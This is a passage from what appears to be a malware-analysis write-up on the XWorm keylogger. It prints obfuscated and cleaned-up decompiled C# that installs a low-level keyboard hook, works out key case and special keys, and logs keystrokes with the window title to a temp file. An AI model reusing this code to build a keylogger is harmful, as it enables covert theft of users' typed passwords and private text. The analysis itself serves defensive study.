</span></span><span class="line"><span class="cl">		<span class="kd">private</span> <span class="kd">static</span> <span class="n">IntPtr</span> <span class="n">DDJc7Kd7F6aaQAtw8IuzYQEwEuydszgkZGcZmYldo7F2VpX4pg3i0mjfoBgF8yN1tSNk2V</span><span class="p">(</span><span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">LowLevelKeyboardProc</span> <span class="n">yLdFEmWSxYqDUE2MSaK8byBrFb9TKt6NNA5UGYhJ0P36Ekxb5Xlv4jsv7n1FS8B8mFT3g0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">IntPtr</span> <span class="n">intPtr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">using</span> <span class="p">(</span><span class="n">Process</span> <span class="n">currentProcess</span> <span class="p">=</span> <span class="n">Process</span><span class="p">.</span><span class="n">GetCurrentProcess</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">intPtr</span> <span class="p">=</span> <span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">xMRKhSEFUeLtIVlvOA6JZJl6bRcqyHKnHJZ4inSYE73uPLNPJvpJtHnQpOI8mrZS8y7Ng1</span><span class="p">(</span><span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="m">8</span><span class="n">iakvQZQ3uCL</span><span class="p">,</span> <span class="n">yLdFEmWSxYqDUE2MSaK8byBrFb9TKt6NNA5UGYhJ0P36Ekxb5Xlv4jsv7n1FS8B8mFT3g0</span><span class="p">,</span> <span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">n0nrWLA4QQMJ</span><span class="p">(</span><span class="n">currentProcess</span><span class="p">.</span><span class="n">ProcessName</span><span class="p">),</span> <span class="m">0</span><span class="n">U</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">			<span class="k">return</span> <span class="n">intPtr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span></span></span></code></pre></div>
</div>
<p>To make the analysis easier, we can replace the obfuscated names with the object types they refer to:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">private</span> <span class="kd">static</span> <span class="k">void</span> <span class="n">MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">class1</span><span class="p">.</span><span class="n">functionToAnalyze</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="kd">public</span> <span class="k">class</span> <span class="nc">class1</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="kd">public</span> <span class="kd">static</span> <span class="k">void</span> <span class="n">functionToAnalyze</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">class1</span><span class="p">.</span><span class="n">vIntPtr</span> <span class="p">=</span> <span class="n">class1</span><span class="p">.</span><span class="n">fIntPtr</span><span class="p">(</span><span class="n">class1</span><span class="p">.</span><span class="n">pLLKP</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="n">Application</span><span class="p">.</span><span class="n">Run</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="kd">private</span> <span class="kd">static</span> <span class="n">IntPtr</span> <span class="n">fIntPtr</span><span class="p">(</span><span class="n">class1</span><span class="p">.</span><span class="n">LowLevelKeyboardProc</span> <span class="n">pLLKP</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">IntPtr</span> <span class="n">intPtr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">using</span> <span class="p">(</span><span class="n">Process</span> <span class="n">currentProcess</span> <span class="p">=</span> <span class="n">Process</span><span class="p">.</span><span class="n">GetCurrentProcess</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">intPtr</span> <span class="p">=</span> <span class="n">class1</span><span class="p">.</span><span class="n">fSetWindowsHookEx</span><span class="p">(</span><span class="n">class1</span><span class="p">.</span><span class="m">8</span><span class="n">iakvQZQ3uCL</span><span class="p">,</span> <span class="n">pLLKP</span><span class="p">,</span> <span class="n">class1</span><span class="p">.</span><span class="n">fGetModuleHandle</span><span class="p">(</span><span class="n">currentProcess</span><span class="p">.</span><span class="n">ProcessName</span><span class="p">),</span> <span class="m">0</span><span class="n">U</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">			<span class="k">return</span> <span class="n">intPtr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span></span></span></code></pre></div>
</div>
<p>The functions <em>GetModuleHandle</em> and <em>SetWindowsHookEx</em> are imported from <code>kernel32.dll</code> and <code>user32.dll</code> respectively:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl"><span class="na">[DllImport(&#34;kernel32.dll&#34;, CharSet = CharSet.Auto, EntryPoint = &#34;GetModuleHandle&#34;, SetLastError = true)]</span>
</span></span><span class="line"><span class="cl"><span class="kd">private</span> <span class="kd">static</span> <span class="kd">extern</span> <span class="n">IntPtr</span> <span class="n">n0nrWLA4QQMJ</span><span class="p">(</span><span class="kt">string</span> <span class="m">2</span><span class="n">gOtdzHXuJup</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="na">[DllImport(&#34;user32.dll&#34;, CharSet = CharSet.Auto, EntryPoint = &#34;SetWindowsHookEx&#34;, SetLastError = true)]</span>
</span></span><span class="line"><span class="cl"><span class="kd">private</span> <span class="kd">static</span> <span class="kd">extern</span> <span class="n">IntPtr</span> <span class="n">xMRKhSEFUeLtIVlvOA6JZJl6bRcqyHKnHJZ4inSYE73uPLNPJvpJtHnQpOI8mrZS8y7Ng1</span><span class="p">(</span><span class="kt">int</span> <span class="n">eaumUTNAkviChy2tqEDeM0SShTHsaeZlS7WQIrR7EyR8lZM20OAXvM1VFzYcRgJy5DScJX</span><span class="p">,</span> <span class="n">class1</span><span class="p">.</span><span class="n">LowLevelKeyboardProc</span> <span class="m">7</span><span class="n">NjY5GRTVvwQvA6ZXa9y8nYzHZ4z7ajSdL6MUzh9kPwlM2eiTp3pk12WuNdPItI73IVkIz</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lLnF5cjxmOrjJ2FCk3G0pDgporhBDC0ER5EcU6BwjbOJTbGBD3o1vFBhGSs1UxqhgTWAhz</span><span class="p">,</span> <span class="kt">uint</span> <span class="m">5</span><span class="n">cfZ6xNJMxk4FBvpDa393dukNrMKnk6yiXAYCXSkorYfC1BbZVhyo4wVmPFPShBjROxIt3</span><span class="p">);</span></span></span></code></pre></div>
</div>
<p>With that information, we can fill in the value of the variable <em>8iakvQZQ3uCL</em> and simplify the functions to better understand the code:</p>
<div class="codeblock">
  <div class="codebar">
    <span>C#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C#" data-lang="C#"><span class="line"><span class="cl">		<span class="kd">public</span> <span class="kd">static</span> <span class="k">void</span> <span class="n">functionToAnalyze</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">class1</span><span class="p">.</span><span class="n">vIntPtr</span> <span class="p">=</span> <span class="n">class1</span><span class="p">.</span><span class="n">fIntPtr</span><span class="p">(</span><span class="n">class1</span><span class="p">.</span><span class="n">pLLKP</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="n">Application</span><span class="p">.</span><span class="n">Run</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="kd">private</span> <span class="kd">static</span> <span class="n">IntPtr</span> <span class="n">fIntPtr</span><span class="p">(</span><span class="n">class1</span><span class="p">.</span><span class="n">LowLevelKeyboardProc</span> <span class="n">pLLKP</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="n">IntPtr</span> <span class="n">intPtr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">using</span> <span class="p">(</span><span class="n">Process</span> <span class="n">currentProcess</span> <span class="p">=</span> <span class="n">Process</span><span class="p">.</span><span class="n">GetCurrentProcess</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">intPtr</span> <span class="p">=</span> <span class="n">SetWindowsHookEx</span><span class="p">(</span><span class="m">13</span><span class="p">,</span> <span class="n">pLLKP</span><span class="p">,</span> <span class="n">GetModuleHandle</span><span class="p">(</span><span class="n">currentProcess</span><span class="p">.</span><span class="n">ProcessName</span><span class="p">),</span> <span class="m">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>
</span></span><span class="line"><span class="cl">			<span class="k">return</span> <span class="n">intPtr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span></span></span></code></pre></div>
</div>
<p>The SetWindowsHookEx function takes <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa" rel="noopener noreferrer external" target="_blank">the following parameters</a>
:</p>
<ol>
<li>idHook: The type of hook to be set. 13 corresponds to &ldquo;WH_KEYBOARD_LL&rdquo; and is used to monitor keyboard events.</li>
<li>lpfn: A pointer to the procedure to execute (&ldquo;pLLKP&rdquo; in the previous code).</li>
<li>hmod: A handle to the DLL that contains the procedure. XWorm sets it to its own process.</li>
<li>dwThreadId: The thread to associate the hook with. 0 means &ldquo;associate with all threads.&rdquo;</li>
</ol>
<p>To summarize, the function <em>MaDpWjyZLk3HQQjyeR0iZMS4O36RS0BetWJTdXDlMQZEVbevKqiy1bkLvBGAVQxRmvaXZz</em> does the following:</p>
<ol>
<li>It calls a function that takes a &ldquo;callback&rdquo; procedure as a parameter, which will be executed when a certain condition is met.</li>
<li>The function invoked in step 1 uses the <em>SetWindowsHookEx</em> function, imported from <code>USER32.DLL</code>, to set up a hook that monitors keyboard events and invokes the &ldquo;callback&rdquo; procedure when an event occurs.</li>
<li>The &ldquo;callback&rdquo; procedure is of type <em>LowLevelKeyboardProc</em> and <a href="https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms644985%28v=vs.85%29" rel="noopener noreferrer external" target="_blank">is invoked every time a keyboard event is registered</a>
.</li>
</ol>
<p>In other words, XWorm creates a new thread that constantly monitors any keyboard events and calls a function when activity is detected.</p>
<h3 id="keylogger-execution">
  Keylogger: execution<a class="heading-anchor" href="#keylogger-execution" aria-label="Link to this section">#</a></h3>
<p>Now, let’s analyze the invoked procedure, step by step:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="kd">private</span> <span class="kd">static</span> <span class="n">IntPtr</span> <span class="n">rHzPCfhAysljAD7Z8nXRLld8JvZxRY7URgDHWWn5v53nbYoJ9VMmtNFi8wUKBindqhIXYI</span><span class="p">(</span><span class="kt">int</span> <span class="n">JQiRKsyUPZiJ5Cz0ekuccbKd82JueeNl1Jgmu3SdXa9iyTnjkbzJSFvUE4JuYLoj2G1vsL</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">RIOpU75Z5EU6R2xU3iHHePiEgibGSLGP78907ZnTHUNpRVZIqq97AZ3UyMTXnzqm4AkO9l</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">uiEmrQuda6mD1g9JtEBu0vriJpB3K9AFGASMuHlT9NbcWv1sDOE1JJ32wTGGrhEPhzzWdX</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="k">if</span> <span class="p">(</span><span class="n">JQiRKsyUPZiJ5Cz0ekuccbKd82JueeNl1Jgmu3SdXa9iyTnjkbzJSFvUE4JuYLoj2G1vsL</span> <span class="p">&gt;=</span> <span class="m">0</span> <span class="p">&amp;&amp;</span> <span class="n">RIOpU75Z5EU6R2xU3iHHePiEgibGSLGP78907ZnTHUNpRVZIqq97AZ3UyMTXnzqm4AkO9l</span> <span class="p">==</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)</span><span class="m">256</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="kt">object</span> <span class="n">obj</span> <span class="p">=</span> <span class="n">Marshal</span><span class="p">.</span><span class="n">ReadInt32</span><span class="p">(</span><span class="n">uiEmrQuda6mD1g9JtEBu0vriJpB3K9AFGASMuHlT9NbcWv1sDOE1JJ32wTGGrhEPhzzWdX</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="kt">object</span> <span class="n">obj2</span> <span class="p">=</span> <span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">E7DLvYqDXgLo</span><span class="p">(</span><span class="m">20</span><span class="p">)</span> <span class="p">&amp;</span> <span class="m">65535</span><span class="p">)</span> <span class="p">!=</span> <span class="m">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="kt">object</span> <span class="n">obj3</span> <span class="p">=</span> <span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">E7DLvYqDXgLo</span><span class="p">(</span><span class="m">160</span><span class="p">)</span> <span class="p">&amp;</span> <span class="m">32768</span><span class="p">)</span> <span class="p">!=</span> <span class="m">0</span> <span class="p">||</span> <span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">E7DLvYqDXgLo</span><span class="p">(</span><span class="m">161</span><span class="p">)</span> <span class="p">&amp;</span> <span class="m">32768</span><span class="p">)</span> <span class="p">!=</span> <span class="m">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="kt">object</span> <span class="n">obj4</span> <span class="p">=</span> <span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">w7RxULSKw1Nl9nqQAu7jggFp1ssG5Ke8X1zOrxdHQj2xMKsLF0sUryONm13ZONJBo8grrI</span><span class="p">(</span><span class="n">Conversions</span><span class="p">.</span><span class="n">ToUInteger</span><span class="p">(</span><span class="n">obj</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="na">[DllImport(&#34;user32.dll&#34;, CharSet = CharSet.Auto, EntryPoint = &#34;GetKeyState&#34;, ExactSpelling = true)]</span>
</span></span><span class="line"><span class="cl">		<span class="kd">private</span> <span class="kd">static</span> <span class="kd">extern</span> <span class="kt">short</span> <span class="n">E7DLvYqDXgLo</span><span class="p">(</span><span class="kt">int</span> <span class="n">zybtWxM2jgdH</span><span class="p">);</span></span></span></code></pre></div>
</div>
<p>If we replace the obfuscated functions and variables with what the LowLevelKeyboardProc documentation tells us, we get the following:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="kd">private</span> <span class="kd">static</span> <span class="n">IntPtr</span> <span class="n">pLLKP</span><span class="p">(</span><span class="kt">int</span> <span class="n">nCode</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">wParam</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lParam</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="k">if</span> <span class="p">(</span><span class="n">nCode</span> <span class="p">&gt;=</span> <span class="m">0</span> <span class="p">&amp;&amp;</span> <span class="n">wParam</span> <span class="p">==</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)</span><span class="m">256</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="kt">object</span> <span class="n">obj</span> <span class="p">=</span> <span class="n">Marshal</span><span class="p">.</span><span class="n">ReadInt32</span><span class="p">(</span><span class="n">lParam</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="kt">object</span> <span class="n">obj2</span> <span class="p">=</span> <span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">GetKeyState</span><span class="p">(</span><span class="m">20</span><span class="p">)</span> <span class="p">&amp;</span> <span class="m">65535</span><span class="p">)</span> <span class="p">!=</span> <span class="m">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="kt">object</span> <span class="n">obj3</span> <span class="p">=</span> <span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">GetKeyState</span><span class="p">(</span><span class="m">160</span><span class="p">)</span> <span class="p">&amp;</span> <span class="m">32768</span><span class="p">)</span> <span class="p">!=</span> <span class="m">0</span> <span class="p">||</span> <span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">GetKeyState</span><span class="p">(</span><span class="m">161</span><span class="p">)</span> <span class="p">&amp;</span> <span class="m">32768</span><span class="p">)</span> <span class="p">!=</span> <span class="m">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span></span></span></code></pre></div>
</div>
<p>According to the <a href="https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms644985%28v=vs.85%29" rel="noopener noreferrer external" target="_blank">documentation</a>
, the parameters that the function takes are the following:</p>
<ol>
<li>nCode: A code that the procedure uses to process the message; 0 means there is keyboard event information.</li>
<li>wParam: The message identifier; 256 corresponds to 0x100, which corresponds to WM_KEYDOWN. This event is triggered when a key is pressed.</li>
<li>lParam: A pointer to the KBDLLHOOKSTRUCT structure.</li>
</ol>
<p>The code uses the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getkeystate" rel="noopener noreferrer external" target="_blank">GetKeyState</a>
 function to determine if the Caps Lock key is being pressed and assigns the result to the variable <em>obj2</em>. Similarly, it checks if either the right or left Shift keys are pressed and assigns that result to the variable <em>obj3</em>. Information about which number corresponds to each key can be found <a href="https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes" rel="noopener noreferrer external" target="_blank">here</a>
.</p>
<p>The next variable assigned is <em>obj4</em>, which uses the <em>GetKeyboardState, MapVirtualKey, GetKeyboardLayout, GetWindowThreadProcessId, GetForegroundWindow, and ToUnicodeEX</em> functions to obtain the Unicode character of the pressed key.</p>
<p>If we continue analyzing the code, we see that it converts the characters to uppercase/lowercase depending on whether the Caps Lock or Shift keys are pressed. Additionally, it checks <a href="https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes" rel="noopener noreferrer external" target="_blank">if the F1-F24 keys</a>
 are pressed and logs that action within square brackets:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">Conversions</span><span class="p">.</span><span class="n">ToBoolean</span><span class="p">((</span><span class="n">Conversions</span><span class="p">.</span><span class="n">ToBoolean</span><span class="p">(</span><span class="n">obj2</span><span class="p">)</span> <span class="p">||</span> <span class="n">Conversions</span><span class="p">.</span><span class="n">ToBoolean</span><span class="p">(</span><span class="n">obj3</span><span class="p">))</span> <span class="p">?</span> <span class="kc">true</span> <span class="p">:</span> <span class="kc">false</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">				<span class="p">{</span>
</span></span><span class="line"><span class="cl">					<span class="n">obj4</span> <span class="p">=</span> <span class="n">RuntimeHelpers</span><span class="p">.</span><span class="n">GetObjectValue</span><span class="p">(</span><span class="n">NewLateBinding</span><span class="p">.</span><span class="n">LateGet</span><span class="p">(</span><span class="n">obj4</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="s">&#34;ToUpper&#34;</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[</span><span class="m">0</span><span class="p">],</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">				<span class="p">}</span>
</span></span><span class="line"><span class="cl">				<span class="k">else</span>
</span></span><span class="line"><span class="cl">				<span class="p">{</span>
</span></span><span class="line"><span class="cl">					<span class="n">obj4</span> <span class="p">=</span> <span class="n">RuntimeHelpers</span><span class="p">.</span><span class="n">GetObjectValue</span><span class="p">(</span><span class="n">NewLateBinding</span><span class="p">.</span><span class="n">LateGet</span><span class="p">(</span><span class="n">obj4</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="s">&#34;ToLower&#34;</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[</span><span class="m">0</span><span class="p">],</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">null</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">				<span class="p">}</span>
</span></span><span class="line"><span class="cl">				<span class="k">if</span> <span class="p">(</span><span class="n">Conversions</span><span class="p">.</span><span class="n">ToInteger</span><span class="p">(</span><span class="n">obj</span><span class="p">)</span> <span class="p">&gt;=</span> <span class="m">112</span> <span class="p">&amp;&amp;</span> <span class="n">Conversions</span><span class="p">.</span><span class="n">ToInteger</span><span class="p">(</span><span class="n">obj</span><span class="p">)</span> <span class="p">&lt;=</span> <span class="m">135</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">				<span class="p">{</span>
</span></span><span class="line"><span class="cl">					<span class="n">obj4</span> <span class="p">=</span> <span class="s">&#34;[&#34;</span> <span class="p">+</span> <span class="n">Conversions</span><span class="p">.</span><span class="n">ToString</span><span class="p">(</span><span class="n">Conversions</span><span class="p">.</span><span class="n">ToInteger</span><span class="p">(</span><span class="n">obj</span><span class="p">))</span> <span class="p">+</span> <span class="s">&#34;]&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="p">}</span></span></span></code></pre></div>
</div>
<p>The code also checks if non-alphanumeric keys are being pressed and logs them within square brackets:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="kt">string</span> <span class="n">text</span> <span class="p">=</span> <span class="p">((</span><span class="n">Keys</span><span class="p">)</span><span class="n">Conversions</span><span class="p">.</span><span class="n">ToInteger</span><span class="p">(</span><span class="n">obj</span><span class="p">)).</span><span class="n">ToString</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">					<span class="k">if</span> <span class="p">(</span><span class="n">Operators</span><span class="p">.</span><span class="n">CompareString</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="s">&#34;Space&#34;</span><span class="p">,</span> <span class="kc">false</span><span class="p">)</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">					<span class="p">{</span>
</span></span><span class="line"><span class="cl">						<span class="n">obj4</span> <span class="p">=</span> <span class="s">&#34;[SPACE]&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">					<span class="p">}</span>
</span></span><span class="line"><span class="cl">					<span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">Operators</span><span class="p">.</span><span class="n">CompareString</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="s">&#34;Return&#34;</span><span class="p">,</span> <span class="kc">false</span><span class="p">)</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">					<span class="p">{</span>
</span></span><span class="line"><span class="cl">						<span class="n">obj4</span> <span class="p">=</span> <span class="s">&#34;[ENTER]&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">					<span class="p">}</span>
</span></span><span class="line"><span class="cl">					<span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">Operators</span><span class="p">.</span><span class="n">CompareString</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="s">&#34;Escape&#34;</span><span class="p">,</span> <span class="kc">false</span><span class="p">)</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">					<span class="p">{</span>
</span></span><span class="line"><span class="cl">						<span class="n">obj4</span> <span class="p">=</span> <span class="s">&#34;[ESC]&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">					<span class="p">}</span>
</span></span><span class="line"><span class="cl">					<span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">Operators</span><span class="p">.</span><span class="n">CompareString</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="s">&#34;LControlKey&#34;</span><span class="p">,</span> <span class="kc">false</span><span class="p">)</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">					<span class="p">{</span>
</span></span><span class="line"><span class="cl">						<span class="n">obj4</span> <span class="p">=</span> <span class="s">&#34;[CTRL]&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">					<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span></span></span></code></pre></div>
</div>
<p>Finally, the code logs the pressed key to the file <code>&quot;C:\\temp\\Log.tmp&quot;</code>, specifying the name of the process where the victim is typing and the title of the window:</p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="p">(</span><span class="n">StreamWriter</span> <span class="n">streamWriter</span> <span class="p">=</span> <span class="k">new</span> <span class="n">StreamWriter</span><span class="p">(</span><span class="s">&#34;C:\\temp\\Log.tmp&#34;</span><span class="p">,</span> <span class="kc">true</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">				<span class="p">{</span>
</span></span><span class="line"><span class="cl">					<span class="k">if</span> <span class="p">(</span><span class="kt">object</span><span class="p">.</span><span class="n">Equals</span><span class="p">(</span><span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">Jqg66CPRiPks</span><span class="p">,</span> <span class="n">nyaa0KvYUHQreInCrcP9gylmxoY54tDMLXwFwyY5c8HuyDiGRscrX2Z2f00hP49aN7WhJj</span><span class="p">.</span><span class="n">HtJ2wEimlN1aODMzVVzPqzHVdv0TmSFsaYB6zL25nSqiwl9pMm4C6hcsw96B9oB794ob0i</span><span class="p">()))</span>
</span></span><span class="line"><span class="cl">					<span class="p">{</span>
</span></span><span class="line"><span class="cl">						<span class="n">streamWriter</span><span class="p">.</span><span class="n">Write</span><span class="p">(</span><span class="n">RuntimeHelpers</span><span class="p">.</span><span class="n">GetObjectValue</span><span class="p">(</span><span class="n">obj4</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">					<span class="p">}</span>
</span></span><span class="line"><span class="cl">					<span class="k">else</span>
</span></span><span class="line"><span class="cl">					<span class="p">{</span>
